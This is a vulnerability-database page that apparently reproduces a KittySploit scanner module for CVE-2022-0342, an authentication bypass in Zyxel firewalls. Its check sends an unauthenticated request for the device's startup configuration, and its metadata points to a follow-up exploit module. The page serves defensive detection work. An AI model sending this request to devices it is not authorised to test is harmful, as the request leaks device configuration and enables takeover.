Lucene search
+L

Zyxel - Authentication Bypass Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 15 Views

Authentication bypass in Zyxel USG/ZyWALL CGI program for administrative access.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2022-0342
28 Mar 202213:15
–attackerkb
bdu_fstec
BDU FSTEC
CGI Interface Authentication Bypass Privilege Escalation
4 Apr 202200:00
–bdu_fstec
circl
Circl
CVE-2022-0342
28 Mar 202216:39
–circl
cnnvd
CNNVD
Zyxel USG/ZyWALL authorization issue vulnerability
28 Mar 202200:00
–cnnvd
cve
CVE
CVE-2022-0342
28 Mar 202212:05
–cve
cvelist
Cvelist
CVE-2022-0342
28 Mar 202212:05
–cvelist
hivepro
hivepro
Weekly Threat Digest: 28 March – 3 April 2022
5 Apr 202210:11
–hivepro
hivepro
hivepro
Authentication Bypass Vulnerability in Zyxel Firmware
2 Apr 202200:44
–hivepro
kittysploit
KittySploit
Zyxel Firewall Auth Bypass (CVE-2022-0342)
5 Oct 202614:20
–kittysploit
malwarebytes
Malwarebytes
Update now! Zyxel patches critical firewall bypass vulnerability
4 Apr 202210:22
–malwarebytes
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Zyxel - Authentication Bypass Detection',
        'description': 'An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2022', 'zyxel', 'auth-bypass', 'router', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['exploits/linux/http/zyxel_firewall_cve_2022_0342_auth_bypass'],
            },
        },
        'references': [
            'https://github.com/gobysec/GobyVuls/blob/master/CVE-2022-0342.md',
            'https://nvd.nist.gov/vuln/detail/CVE-2022-0342',
            'https://www.zyxel.com/support/Zyxel-security-advisory-for-authentication-bypass-vulnerability-of-firewalls.shtml',
            'https://github.com/f1tao/awesome-iot-security-resource',
            'https://github.com/murchie85/twitterCyberMonitor',
        ],
        'cve': 'CVE-2022-0342',
    }

    def run(self):
        r = self.http_request(method="GET", path='/cgi-bin/export-cgi?category=config&arg0=startup-config.conf', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('interface-name', 'saved at',)
        header_all = ('text/zyxel', 'attachment; filename=',)
        if (all(m in body for m in body_all)) and (all(m in headers for m in header_all)):
            self.set_info(
                severity='critical',
                reason="Zyxel - Authentication Bypass detected",
                path='/cgi-bin/export-cgi?category=config&arg0=startup-config.conf',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
CVSS 3.19.8
EPSS0.95134
15